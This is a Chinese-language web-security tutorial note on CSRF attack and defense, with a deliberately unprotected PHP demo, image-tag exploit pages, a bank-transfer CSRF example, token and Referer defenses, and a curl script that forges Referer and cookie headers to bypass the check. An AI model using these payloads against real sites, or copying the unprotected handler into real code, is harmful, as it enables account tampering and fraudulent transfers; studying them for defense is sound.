应用安全-Web安全-CSRF攻防整理
原理
登录受信任网站A,并在本地生成Cookie。
在不登出A的情况下,访问危险网站B。
1 #csrfdemo.php 2 <?php 3 $data = json_decode(file_get_contents('data.json'), true); 4 5 if($data['username']) { setcookie('uid', $data['id'], 0); echo "登录成功, {$data['username']}<br>"; }
6 ?>
7 <a href = "Update.php?uid=101&username=json"> 更新用户名 </a>
#CSRFUpdate.php //exp <?php echo 'Change Username'; ?> <img src="../Update.php?uid=101&username=jsonp">
Update.php
<?php
$str = file_get_contents('data.json');
$data = json_decode($str, true);
empty($_COOKIE['uid']) || empty($_GET['uid']) || $_GET['uid'] != $data['id'] ? die('非法用户') : '';
$data['username'] = empty($_GET['username']) ? die('用户名不能为空') : $_GET['username'];
$data['username'] = $_GET['username'];
if(file_put_contents('data.json', json_encode($data))) {
echo "用户名已更改为{$data['username']}<br>";
} else {
die('更新失败');
}
?>
#data.json
{"id":"101","username":"jsonp"}
Login CSRF
登录界面CSRF - 无 Token(有Reffer和Session构造失败)
验证
Burpsuite生成POC
利用
伪造发送邮件/发消息/盗取账号/购买商品/虚拟货币转账/修改用户资料/传播恶意文件
转账
GET请求来完成转账操作,如:http://www.mybank.com/Transfer.php?toBankId=11&money=1000 网站B,它里面有一段HTML的代码如下: <img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000> -》受害者点击
#新消息提醒的绑定邮箱CSRF未做过滤或者过滤不严,email验证链接存在逻辑问题。
结合这两点,可导致用户的私信、新评论、系统消息提醒等发送至攻击者邮箱
CSRF - 上传文件
防御
静态语言
使用Hash加密cookie中csrf_token值
动态语言
使用Synchronizer Tokens
在表单里隐藏一个随机变化的 csrf_token csrf_token 提交到后台进行验证,如果验证通过则可以继续执行操作
Referer字段(同源)
1 #Update.php 2 <?php 3 if(!empty($_SERVER['HTTP_REFERER'])) { 4 if(parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST) != 'csrfdemo.php') { 5 echo "非法请求"; 6 exit(); 7 } 8 } 9 $str = file_get_contents('data.json'); 10 $data = json_decode($str, true); 11 12 empty($_COOKIE['uid']) || empty($_GET['uid']) || $_GET['uid'] != $data['id'] ? die('非法用户') : ''; 13 $data['username'] = empty($_GET['username']) ? die('用户名不能为空') : $_GET['username']; 14 $data['username'] = $_GET['username']; 15 if(file_put_contents('data.json', json_encode($data))) { 16 echo "用户名已更改为{$data['username']}<br>"; 17 } else { 18 die('更新失败'); 19 } 20 21 ?>
Referer字段(同源)-绕过
//curl构造Referer头
<?php
function curl_post($url){
$refer = 'csrfdemo.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_REFERER, $refer);
curl_setopt($ch, CURLOPT_COOKIE, 'uid=101');
$output = curl_exec($ch);
curl_close($ch);
return $output;
}
// echo 'Change Username';
var_dump(curl_post("../Update.php?uid=101&username=jsonp445"));
?>
<img src="../Update.php?uid=101&username=jsonp445">
通过csrf_token csrf_token 进行验证(session+token)
绕过:session劫持+token劫持
使用CORS

浙公网安备 33010602011771号